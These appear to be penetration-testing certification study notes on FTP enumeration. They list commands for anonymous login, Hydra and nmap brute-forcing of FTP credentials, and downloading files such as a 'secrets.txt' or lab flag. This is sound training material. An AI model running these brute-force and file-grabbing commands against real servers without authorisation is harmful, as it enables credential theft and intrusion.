> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/enumeration/ftp.md).

# FTP

#### FTP

* FTP is used for storing files on the server.
* 21 is a default FTP port

```
ftp <IP>
anonymous
anonymous
> bye 
```

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP> ftp
```

```
ftp <IP>
user
pass
> ls
> help
> get secrets.txt -
```

```
echo "sysadmin" > users
```

* To check if the user is valid or not. It also get the password.

```
nmap <IP> --script ftp-brute --script-args userdb=/root/users -p21
```

**FTP anonymous login**

```
nmap <IP> -p21 --script ftp-anon
```

```
ftp <IP>
 anonymous
 ftp 
> get flag -
```
